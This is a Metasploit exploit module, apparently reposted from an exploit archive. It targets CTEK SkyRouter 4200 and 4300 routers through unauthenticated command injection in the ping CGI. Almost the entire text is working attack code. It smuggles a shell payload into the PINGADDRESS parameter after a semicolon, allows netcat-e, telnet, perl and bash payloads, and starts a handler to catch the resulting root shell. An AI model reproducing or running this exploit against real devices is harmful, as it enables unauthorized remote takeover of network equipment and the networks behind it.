CTEK SkyRouter 4200 / 4300 Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution',  
'Description' => %q{  
This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.  
},  
'Author' => [ 'savant42' ], #with module help from kos  
'License' => MSF_LICENSE,  
'References' => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet netcat-e bash',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)  
'DefaultTarget' => 0))  
  
end  
  
def exploit  
post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"  
uri = '/apps/a3/cfg_ethping.cgi'  
print_status("Sending HTTP request for #{uri}")  
res = send_request_cgi( {  
'global' => true,  
'uri' => uri,  
'method' => "POST",  
'data' => post_data  
}, 30)  
  
if res  
print_status("The server responded with HTTP CODE #{res.code}")  
else  
print_status("The server did not respond to our request")  
end  
  
handler  
end  
  
end  
`